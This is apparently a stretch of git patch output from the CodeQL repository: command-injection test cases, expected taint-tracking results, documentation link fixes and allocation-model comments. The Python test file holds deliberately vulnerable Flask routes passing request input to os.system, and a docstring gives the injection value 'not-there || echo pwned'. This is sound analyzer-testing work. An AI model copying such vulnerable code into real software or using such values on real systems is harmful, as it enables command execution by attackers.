command_injection.py:13:15:13:27 | ControlFlowNode for BinaryExpr | command_injection.py:11:13:11:24 | ControlFlowNode for Attribute | command_injection.py:13:15:13:27 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:11:13:11:24 | ControlFlowNode for Attribute | a user-provided value | | command_injection.py:20:22:20:34 | ControlFlowNode for BinaryExpr | command_injection.py:18:13:18:24 | ControlFlowNode for Attribute | command_injection.py:20:22:20:34 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:18:13:18:24 | ControlFlowNode for Attribute | a user-provided value | @@ -40,3 +43,4 @@ nodes | command_injection.py:57:21:57:27 | ControlFlowNode for command | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:57:21:57:27 | ControlFlowNode for command | This command depends on $@. | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | a user-provided value | | command_injection.py:58:27:58:33 | ControlFlowNode for command | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:58:27:58:33 | ControlFlowNode for command | This command depends on $@. | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | a user-provided value | | command_injection.py:59:20:59:26 | ControlFlowNode for command | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:59:20:59:26 | ControlFlowNode for command | This command depends on $@. | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:73:19:73:30 | ControlFlowNode for BinaryExpr | command_injection.py:71:12:71:23 | ControlFlowNode for Attribute | command_injection.py:73:19:73:30 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:71:12:71:23 | ControlFlowNode for Attribute | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-078/command_injection.py b/python/ql/test/query-tests/Security/CWE-078/command_injection.py index 25422d55e74..d61e9ca180c 100644 --- a/python/ql/test/query-tests/Security/CWE-078/command_injection.py +++ b/python/ql/test/query-tests/Security/CWE-078/command_injection.py @@ -57,3 +57,17 @@ def not_into_sink_impl(): subprocess.call(command) subprocess.check_call(command) subprocess.run(command) + + +@app.route("/path-exists-not-sanitizer") +def path_exists_not_sanitizer(): + """os.path.exists is not a sanitizer + + This small example is inspired by real world code. Initially, it seems like a good + sanitizer. However, if you are able to create files, you can make the + `os.path.exists` check succeed, and still be able to run commands. An example is + using the filename `not-there || echo pwned`. + """ + path = request.args.get('path', '') + if os.path.exists(path): + os.system("ls " + path) # NOT OK From 5aa2c2f9d467cdf695ab86e5daa8708d1709ee8e Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 30 Nov 2020 14:59:52 +0100 Subject: [PATCH 0177/1241] Python: Add command injection regex restricted FP --- .../Security/CWE-078/CommandInjection.expected | 4 ++++ .../query-tests/Security/CWE-078/command_injection.py | 9 ++++++++- 2 files changed, 12 insertions(+), 1 deletion(-) diff --git a/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected b/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected index 606beac1705..db299d8d64b 100644 --- a/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected +++ b/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected @@ -11,6 +11,7 @@ edges | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:58:27:58:33 | ControlFlowNode for command | | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:59:20:59:26 | ControlFlowNode for command | | command_injection.py:71:12:71:23 | ControlFlowNode for Attribute | command_injection.py:73:19:73:30 | ControlFlowNode for BinaryExpr | +| command_injection.py:78:12:78:23 | ControlFlowNode for Attribute | command_injection.py:80:19:80:30 | ControlFlowNode for BinaryExpr | nodes | command_injection.py:11:13:11:24 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | command_injection.py:13:15:13:27 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | @@ -31,6 +32,8 @@ nodes | command_injection.py:59:20:59:26 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | | command_injection.py:71:12:71:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | command_injection.py:73:19:73:30 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | +| command_injection.py:78:12:78:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| command_injection.py:80:19:80:30 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | #select | command_injection.py:13:15:13:27 | ControlFlowNode for BinaryExpr | command_injection.py:11:13:11:24 | ControlFlowNode for Attribute | command_injection.py:13:15:13:27 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:11:13:11:24 | ControlFlowNode for Attribute | a user-provided value | | command_injection.py:20:22:20:34 | ControlFlowNode for BinaryExpr | command_injection.py:18:13:18:24 | ControlFlowNode for Attribute | command_injection.py:20:22:20:34 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:18:13:18:24 | ControlFlowNode for Attribute | a user-provided value | @@ -44,3 +47,4 @@ nodes | command_injection.py:58:27:58:33 | ControlFlowNode for command | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:58:27:58:33 | ControlFlowNode for command | This command depends on $@. | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | a user-provided value | | command_injection.py:59:20:59:26 | ControlFlowNode for command | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:59:20:59:26 | ControlFlowNode for command | This command depends on $@. | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | a user-provided value | | command_injection.py:73:19:73:30 | ControlFlowNode for BinaryExpr | command_injection.py:71:12:71:23 | ControlFlowNode for Attribute | command_injection.py:73:19:73:30 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:71:12:71:23 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:80:19:80:30 | ControlFlowNode for BinaryExpr | command_injection.py:78:12:78:23 | ControlFlowNode for Attribute | command_injection.py:80:19:80:30 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:78:12:78:23 | ControlFlowNode for Attribute | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-078/command_injection.py b/python/ql/test/query-tests/Security/CWE-078/command_injection.py index d61e9ca180c..978a2bf986c 100644 --- a/python/ql/test/query-tests/Security/CWE-078/command_injection.py +++ b/python/ql/test/query-tests/Security/CWE-078/command_injection.py @@ -1,4 +1,4 @@ - +import re import os import subprocess @@ -71,3 +71,10 @@ def path_exists_not_sanitizer(): path = request.args.get('path', '') if os.path.exists(path): os.system("ls " + path) # NOT OK + + +@app.route("/restricted-characters") +def restricted_characters(): + path = request.args.get('path', '') + if re.match(r'^[a-zA-Z0-9_-]+$', path): + os.system("ls " + path) # OK (TODO: Currently FP) From e5e8ec6ecc3df881c5ca2aeefcadacbf83f2e682 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 30 Nov 2020 15:12:05 +0100 Subject: [PATCH 0178/1241] Python: Add a few test-cases for barrier guards and references I'm not sure references is the best name, but it's the best I could come up with jsut now --- .../customSanitizer/TestTaint.expected | 11 ++++ .../customSanitizer/test_reference.py | 65 +++++++++++++++++++ 2 files changed, 76 insertions(+) create mode 100644 python/ql/test/experimental/dataflow/tainttracking/customSanitizer/test_reference.py diff --git a/python/ql/test/experimental/dataflow/tainttracking/customSanitizer/TestTaint.expected b/python/ql/test/experimental/dataflow/tainttracking/customSanitizer/TestTaint.expected index 72c4415561a..648ccf975b1 100644 --- a/python/ql/test/experimental/dataflow/tainttracking/customSanitizer/TestTaint.expected +++ b/python/ql/test/experimental/dataflow/tainttracking/customSanitizer/TestTaint.expected @@ -34,6 +34,14 @@ test_taint | test_logical.py:128 | ok | test_nesting_not_with_and_true | s | | test_logical.py:137 | fail | test_with_return | s | | test_logical.py:146 | fail | test_with_exception | s | +| test_reference.py:31 | fail | test_basic | s2 | +| test_reference.py:31 | ok | test_basic | s | +| test_reference.py:33 | ok | test_basic | s | +| test_reference.py:33 | ok | test_basic | s2 | +| test_reference.py:41 | fail | test_identical_call | s.strip() | +| test_reference.py:43 | ok | test_identical_call | s.strip() | +| test_reference.py:56 | fail | test_class_attribute_access | c.foo | +| test_reference.py:58 | ok | test_class_attribute_access | c.foo | isSanitizer | TestTaintTrackingConfiguration | test.py:21:39:21:39 | ControlFlowNode for s | | TestTaintTrackingConfiguration | test.py:50:10:50:29 | ControlFlowNode for emulated_escaping() | @@ -48,3 +56,6 @@ isSanitizerGuard | TestTaintTrackingConfiguration | test_logical.py:115:12:115:21 | ControlFlowNode for is_safe() | | TestTaintTrackingConfiguration | test_logical.py:120:16:120:25 | ControlFlowNode for is_safe() | | TestTaintTrackingConfiguration | test_logical.py:125:20:125:29 | ControlFlowNode for is_safe() | +| TestTaintTrackingConfiguration | test_reference.py:30:8:30:17 | ControlFlowNode for is_safe() | +| TestTaintTrackingConfiguration | test_reference.py:40:8:40:25 | ControlFlowNode for is_safe() | +| TestTaintTrackingConfiguration | test_reference.py:55:8:55:21 | ControlFlowNode for is_safe() | diff --git a/python/ql/test/experimental/dataflow/tainttracking/customSanitizer/test_reference.py b/python/ql/test/experimental/dataflow/tainttracking/customSanitizer/test_reference.py new file mode 100644 index 00000000000..641f1171797 --- /dev/null +++ b/python/ql/test/experimental/dataflow/tainttracking/customSanitizer/test_reference.py @@ -0,0 +1,65 @@ +import sys; import os; sys.path.append(os.path.dirname(os.path.dirname((__file__)))) +from taintlib import * + +# This has no runtime impact, but allows autocomplete to work +from typing import TYPE_CHECKING +if TYPE_CHECKING: + from ..taintlib import * + + +# Actual tests + +"""Testing logical constructs not/and/or works out of the box. +""" + +import random + + +def random_choice(): + return bool(random.randint(0, 1)) + + +def is_safe(arg): + return arg == "safe" + + +def test_basic(): + s = TAINTED_STRING + s2 = s + + if is_safe(s): + ensure_not_tainted(s, s2) + else: + ensure_tainted(s, s2) + + +def test_identical_call(): + """This code pattern is being used in real world code""" + s = TAINTED_STRING + + if is_safe(s.strip()): + ensure_not_tainted(s.strip()) + else: + ensure_tainted(s.strip()) + + +class C(object): + def __init__(self, value): + self.foo = value + + +def test_class_attribute_access(): + s = TAINTED_STRING + c = C(s) + + if is_safe(c.foo): + ensure_not_tainted(c.foo) + else: + ensure_tainted(c.foo) + + +# Make tests runable + +test_basic() +test_identical_call() +test_class_attribute_access() From eabfeca514f2ba38b71af3d111ba5a03f0b3f476 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 7 Dec 2020 18:04:51 +0000 Subject: [PATCH 0179/1241] fix python links --- .../codeql/codeql-language-guides/codeql-library-for-python.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-python.rst b/docs/codeql/codeql-language-guides/codeql-library-for-python.rst index dacb3f484d7..68e9b148eae 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-python.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-python.rst @@ -333,7 +333,7 @@ The CodeQL library for Python also supplies classes to specify taint-tracking an Summary ^^^^^^^ -- `TaintKind `__ +- `TaintKind `__ - `Configuration `__ For more information about these classes, see ":doc:`Analyzing data flow and tracking tainted data in Python `." From 915d6402742bfe198721465686178bfe89b87957 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 7 Dec 2020 18:05:21 +0000 Subject: [PATCH 0180/1241] more python links --- ...zing-data-flow-and-tracking-tainted-data-in-python.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst index 5d8dcb6b1bb..0fe5829b3cd 100644 --- a/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst @@ -29,16 +29,16 @@ The taint tracking library is in the `TaintTracking `__ class. -2. One or more ``sinks``, to where the data or taint may flow, represented by the `TaintTracking::Sink `__ class. -3. Zero or more ``sanitizers``, represented by the `Sanitizer `__ class. +1. One or more ``sources`` of potentially insecure or unsafe data, represented by the `TaintTracking::Source `__ class. +2. One or more ``sinks``, to where the data or taint may flow, represented by the `TaintTracking::Sink `__ class. +3. Zero or more ``sanitizers``, represented by the `Sanitizer `__ class. A taint tracking or data flow query gives results when there is the flow of data from a source to a sink, which is not blocked by a sanitizer. These three components are bound together using a `TaintTracking::Configuration `__. The purpose of the configuration is to specify exactly which sources and sinks are relevant to the specific query. -The final, implicit component is the "kind" of taint, represented by the `TaintKind `__ class. +The final, implicit component is the "kind" of taint, represented by the `TaintKind `__ class. The kind of taint determines which non-value-preserving steps are possible, in addition to value-preserving steps that are built into the analysis. In the above example ``dir = path + "/"``, taint flows from ``path`` to ``dir`` if the taint represents a string, but not if the taint is ``None``. From 2c385f712101ab8de338a13ef5bf9ae465bece46 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 7 Dec 2020 18:09:00 +0000 Subject: [PATCH 0181/1241] java link fixes --- ...act-syntax-tree-classes-for-working-with-java-programs.rst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst index 8f647e2c899..1664b8407dc 100644 --- a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst @@ -19,7 +19,7 @@ This table lists all subclasses of `Stmt`_. +------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ | `Expr`_ ``;`` | ExprStmt_ | | | +------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ -| ``{`` `Stmt`_ ``... }`` | Block_ | | | +| ``{`` `Stmt`_ ``... }`` | BlockStmt_ | | | +------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ | ``if (`` `Expr`_ ``)`` `Stmt`_ ``else`` `Stmt`_ | IfStmt_ | `ConditionalStmt`_ | | +------------------------------------------------------------------------------------+ | | | @@ -348,7 +348,7 @@ Further reading .. _ArrayCreationExpr: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Expr.qll/type.Expr$ArrayCreationExpr.html .. _EmptyStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$EmptyStmt.html .. _ExprStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$ExprStmt.html -.. _Block: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$Block.html +.. _BlockStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$BlockStmt.html .. _IfStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$IfStmt.html .. _WhileStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$WhileStmt.html .. _DoStmt: https://codeql.github.com/codeql-standard-libraries/java/semmle/code/java/Statement.qll/type.Statement$DoStmt.html From 7f79b28a111e6b940740f736c4a450798db5a680 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 7 Dec 2020 18:09:10 +0000 Subject: [PATCH 0182/1241] c++ link fixes --- .../codeql-language-guides/codeql-library-for-cpp.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst b/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst index ea110f4a6cd..0b0156d4da3 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-cpp.rst @@ -160,11 +160,11 @@ This table lists subclasses of Stmt_ representing C/C++ statements. +==========================================================+================================+===================================================+ | ``__asm__ ("`` *movb %bh, (%eax)* ``");`` | AsmStmt_ | Specific to a given CPU instruction set | +----------------------------------------------------------+--------------------------------+---------------------------------------------------+ -| ``{`` Stmt_... ``}`` | Block_ | | +| ``{`` Stmt_... ``}`` | BlockStmt_ | | +----------------------------------------------------------+--------------------------------+---------------------------------------------------+ -| ``catch (`` Parameter_ ``)`` Block_ | CatchBlock_ | | +| ``catch (`` Parameter_ ``)`` BlockStmt_ | CatchBlock_ | | +----------------------------------------------------------+--------------------------------+---------------------------------------------------+ -| ``catch ( ... )`` Block_ | CatchAnyBlock_ | | +| ``catch ( ... )`` BlockStmt_ | CatchAnyBlock_ | | +----------------------------------------------------------+--------------------------------+---------------------------------------------------+ | ``goto *`` *labelptr* ``;`` | ComputedGotoStmt_ | GNU extension; use with LabelLiteral_ | +----------------------------------------------------------+--------------------------------+---------------------------------------------------+ @@ -584,7 +584,7 @@ Further reading .. _TemplateVariable: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Variable.qll/type.Variable$TemplateVariable.html .. _Stmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$Stmt.html .. _AsmStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$AsmStmt.html -.. _Block: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Block.qll/type.Block$Block.html +.. _BlockStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Block.qll/type.Block$BlockStmt.html .. _CatchBlock: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$CatchBlock.html .. _CatchAnyBlock: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$CatchAnyBlock.html .. _ComputedGotoStmt: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/stmts/Stmt.qll/type.Stmt$ComputedGotoStmt.html @@ -751,6 +751,6 @@ Further reading .. _IncludeNext: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Include.qll/type.Include$IncludeNext.html .. _Macro: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Macro.qll/type.Macro$Macro.html .. _Char16Type: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Char16Type.html -.. _Char32Type: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Char32Type.html> +.. _Char32Type: https://codeql.github.com/codeql-standard-libraries/cpp/semmle/code/cpp/Type.qll/type.Type$Char32Type.html From 38085b27c3fa7068f8dcf85a7e3b652b11036f16 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 7 Dec 2020 18:14:09 +0000 Subject: [PATCH 0183/1241] evven more python link fixes --- .../analyzing-data-flow-and-tracking-tainted-data-in-python.rst | 2 +- .../codeql/codeql-language-guides/codeql-library-for-python.rst | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst b/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst index 0fe5829b3cd..1757b125707 100644 --- a/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst +++ b/docs/codeql/codeql-language-guides/analyzing-data-flow-and-tracking-tainted-data-in-python.rst @@ -35,7 +35,7 @@ The explicit components are: A taint tracking or data flow query gives results when there is the flow of data from a source to a sink, which is not blocked by a sanitizer. -These three components are bound together using a `TaintTracking::Configuration `__. +These three components are bound together using a `TaintTracking::Configuration `__. The purpose of the configuration is to specify exactly which sources and sinks are relevant to the specific query. The final, implicit component is the "kind" of taint, represented by the `TaintKind `__ class. diff --git a/docs/codeql/codeql-language-guides/codeql-library-for-python.rst b/docs/codeql/codeql-language-guides/codeql-library-for-python.rst index 68e9b148eae..0e51ca186af 100644 --- a/docs/codeql/codeql-language-guides/codeql-library-for-python.rst +++ b/docs/codeql/codeql-language-guides/codeql-library-for-python.rst @@ -334,7 +334,7 @@ Summary ^^^^^^^ - `TaintKind `__ -- `Configuration `__ +- `Configuration `__ For more information about these classes, see ":doc:`Analyzing data flow and tracking tainted data in Python `." From 281b56b2aebdb8a7e595f8b2d0988caceffb0a39 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 7 Dec 2020 18:29:54 +0000 Subject: [PATCH 0184/1241] C++: Add comments to the Allocation and Deallocation libraries indicating where the functions come from. --- .../cpp/models/implementations/Allocation.qll | 17 ++++++++++++++ .../models/implementations/Deallocation.qll | 22 ++++++++++++++++--- 2 files changed, 36 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll index 058adc1cd87..9561de0e0ec 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Allocation.qll @@ -14,19 +14,24 @@ private class MallocAllocationFunction extends AllocationFunction { int sizeArg; MallocAllocationFunction() { + // --- C library allocation hasGlobalOrStdName("malloc") and // malloc(size) sizeArg = 0 or hasGlobalName([ + // --- Windows Memory Management for Windows Drivers "MmAllocateContiguousMemory", // MmAllocateContiguousMemory(size, maxaddress) "MmAllocateContiguousNodeMemory", // MmAllocateContiguousNodeMemory(size, minaddress, maxaddress, bound, flag, prefer) "MmAllocateContiguousMemorySpecifyCache", // MmAllocateContiguousMemorySpecifyCache(size, minaddress, maxaddress, bound, type) "MmAllocateContiguousMemorySpecifyCacheNode", // MmAllocateContiguousMemorySpecifyCacheNode(size, minaddress, maxaddress, bound, type, prefer) "MmAllocateNonCachedMemory", // MmAllocateNonCachedMemory(size) "MmAllocateMappingAddress", // MmAllocateMappingAddress(size, tag) + // --- Windows COM allocation "CoTaskMemAlloc", // CoTaskMemAlloc(size) + // --- Linux kernel memory allocator "kmem_alloc", // kmem_alloc(size, flags) "kmem_zalloc", // kmem_zalloc(size, flags) + // --- OpenSSL memory allocation "CRYPTO_malloc", // CRYPTO_malloc(size_t num, const char *file, int line) "CRYPTO_zalloc", // CRYPTO_zalloc(size_t num, const char *file, int line) "CRYPTO_secure_malloc", // CRYPTO_secure_malloc(size_t num, const char *file, int line) @@ -35,6 +40,7 @@ private class MallocAllocationFunction extends AllocationFunction { sizeArg = 0 or hasGlobalName([ + // --- Windows Memory Management for Windows Drivers "ExAllocatePool", // ExAllocatePool(type, size) "ExAllocatePoolWithTag", // ExAllocatePool(type, size, tag) "ExAllocatePoolWithTagPriority", // ExAllocatePoolWithTagPriority(type, size, tag, priority) @@ -42,8 +48,10 @@ private class MallocAllocationFunction extends AllocationFunction { "ExAllocatePoolWithQuotaTag", // ExAllocatePoolWithQuotaTag(type, size, tag) "IoAllocateMdl", // IoAllocateMdl(address, size, flag, flag, irp) "IoAllocateErrorLogEntry", // IoAllocateErrorLogEntry(object, size) + // --- Windows Global / Local legacy allocation "LocalAlloc", // LocalAlloc(flags, size) "GlobalAlloc", // GlobalAlloc(flags, size) + // --- Windows System Services allocation "VirtualAlloc" // VirtualAlloc(address, size, type, flag) ]) and sizeArg = 1 @@ -52,6 +60,7 @@ private class MallocAllocationFunction extends AllocationFunction { sizeArg = 2 or hasGlobalName([ + // --- Windows Memory Management for Windows Drivers "MmAllocatePagesForMdl", // MmAllocatePagesForMdl(minaddress, maxaddress, skip, size) "MmAllocatePagesForMdlEx", // MmAllocatePagesForMdlEx(minaddress, maxaddress, skip, size, type, flags) "MmAllocateNodePagesForMdlEx" // MmAllocateNodePagesForMdlEx(minaddress, maxaddress, skip, size, type, prefer, flags) @@ -71,6 +80,7 @@ private class AllocaAllocationFunction extends AllocationFunction { AllocaAllocationFunction() { hasGlobalName([ + // --- stack allocation "alloca", // // alloca(size) "__builtin_alloca" // __builtin_alloca(size) ]) and @@ -91,6 +101,7 @@ private class CallocAllocationFunction extends AllocationFunction { int multArg; CallocAllocationFunction() { + // --- C library allocation hasGlobalOrStdName("calloc") and // calloc(num, size) sizeArg = 1 and multArg = 0 @@ -110,14 +121,18 @@ private class ReallocAllocationFunction extends AllocationFunction { int reallocArg; ReallocAllocationFunction() { + // --- C library allocation hasGlobalOrStdName("realloc") and // realloc(ptr, size) sizeArg = 1 and reallocArg = 0 or hasGlobalName([ + // --- Windows Global / Local legacy allocation "LocalReAlloc", // LocalReAlloc(ptr, size, flags) "GlobalReAlloc", // GlobalReAlloc(ptr, size, flags) + // --- Windows COM allocation "CoTaskMemRealloc", // CoTaskMemRealloc(ptr, size) + // --- OpenSSL memory allocation "CRYPTO_realloc" // CRYPTO_realloc(void *addr, size_t num, const char *file, int line) ]) and sizeArg = 1 and @@ -140,6 +155,7 @@ private class ReallocAllocationFunction extends AllocationFunction { private class SizelessAllocationFunction extends AllocationFunction { SizelessAllocationFunction() { hasGlobalName([ + // --- Windows Memory Management for Windows Drivers "ExAllocateFromLookasideListEx", // ExAllocateFromLookasideListEx(list) "ExAllocateFromPagedLookasideList", // ExAllocateFromPagedLookasideList(list) "ExAllocateFromNPagedLookasideList", // ExAllocateFromNPagedLookasideList(list) @@ -148,6 +164,7 @@ private class SizelessAllocationFunction extends AllocationFunction { "MmMapLockedPagesWithReservedMapping", // MmMapLockedPagesWithReservedMapping(address, tag, list, type) "MmMapLockedPages", // MmMapLockedPages(list, mode) "MmMapLockedPagesSpecifyCache", // MmMapLockedPagesSpecifyCache(list, mode, type, address, flag, flag) + // --- NetBSD pool manager "pool_get", // pool_get(pool, flags) "pool_cache_get" // pool_cache_get(pool, flags) ]) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll index 4e2f8d5434b..e417594c867 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll @@ -14,21 +14,37 @@ private class StandardDeallocationFunction extends DeallocationFunction { StandardDeallocationFunction() { exists(string name | - hasGlobalName(["free", "realloc", "CRYPTO_free", "CRYPTO_secure_free"]) and + hasGlobalName([ + // --- C library allocation + "free", "realloc", + // --- OpenSSL memory allocation + "CRYPTO_free", "CRYPTO_secure_free"] + ) and freedArg = 0 or hasGlobalOrStdName([ + // --- Windows Memory Management for Windows Drivers "ExFreePoolWithTag", "ExDeleteTimer", "IoFreeMdl", "IoFreeWorkItem", "IoFreeErrorLogEntry", "MmFreeContiguousMemory", "MmFreeContiguousMemorySpecifyCache", "MmFreeNonCachedMemory", "MmFreeMappingAddress", "MmFreePagesFromMdl", - "MmUnmapReservedMapping", "MmUnmapLockedPages", "LocalFree", "GlobalFree", "VirtualFree", - "CoTaskMemFree", "SysFreeString", "LocalReAlloc", "GlobalReAlloc", "CoTaskMemRealloc", + "MmUnmapReservedMapping", "MmUnmapLockedPages", + // --- Windows Global / Local legacy allocation + "LocalFree", "GlobalFree", "LocalReAlloc", "GlobalReAlloc", + // --- Windows System Services allocation + "VirtualFree", + // --- Windows COM allocation + "CoTaskMemFree", "CoTaskMemRealloc", + // --- Windows Automation + "SysFreeString", + // --- Linux kernel memory allocator "kmem_free" ]) and freedArg = 0 or hasGlobalOrStdName([ + // --- Windows Memory Management for Windows Drivers "ExFreeToLookasideListEx", "ExFreeToPagedLookasideList", "ExFreeToNPagedLookasideList", + // --- NetBSD pool manager "pool_put", "pool_cache_put" ]) and freedArg = 1 From ef131d3951f2a3d01bae5bbd894c36092bd07689 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Mon, 7 Dec 2020 18:52:35 +0000 Subject: [PATCH 0185/1241] C++: Fix StandardDeallocationFunction. --- .../models/implementations/Deallocation.qll | 70 +++++++++---------- 1 file changed, 34 insertions(+), 36 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll index e417594c867..468b322d0fd 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Deallocation.qll @@ -13,45 +13,43 @@ private class StandardDeallocationFunction extends DeallocationFunction { int freedArg; StandardDeallocationFunction() { - exists(string name | - hasGlobalName([ + hasGlobalName([ // --- C library allocation "free", "realloc", // --- OpenSSL memory allocation - "CRYPTO_free", "CRYPTO_secure_free"] - ) and - freedArg = 0 - or - hasGlobalOrStdName([ - // --- Windows Memory Management for Windows Drivers - "ExFreePoolWithTag", "ExDeleteTimer", "IoFreeMdl", "IoFreeWorkItem", - "IoFreeErrorLogEntry", "MmFreeContiguousMemory", "MmFreeContiguousMemorySpecifyCache", - "MmFreeNonCachedMemory", "MmFreeMappingAddress", "MmFreePagesFromMdl", - "MmUnmapReservedMapping", "MmUnmapLockedPages", - // --- Windows Global / Local legacy allocation - "LocalFree", "GlobalFree", "LocalReAlloc", "GlobalReAlloc", - // --- Windows System Services allocation - "VirtualFree", - // --- Windows COM allocation - "CoTaskMemFree", "CoTaskMemRealloc", - // --- Windows Automation - "SysFreeString", - // --- Linux kernel memory allocator - "kmem_free" - ]) and - freedArg = 0 - or - hasGlobalOrStdName([ - // --- Windows Memory Management for Windows Drivers - "ExFreeToLookasideListEx", 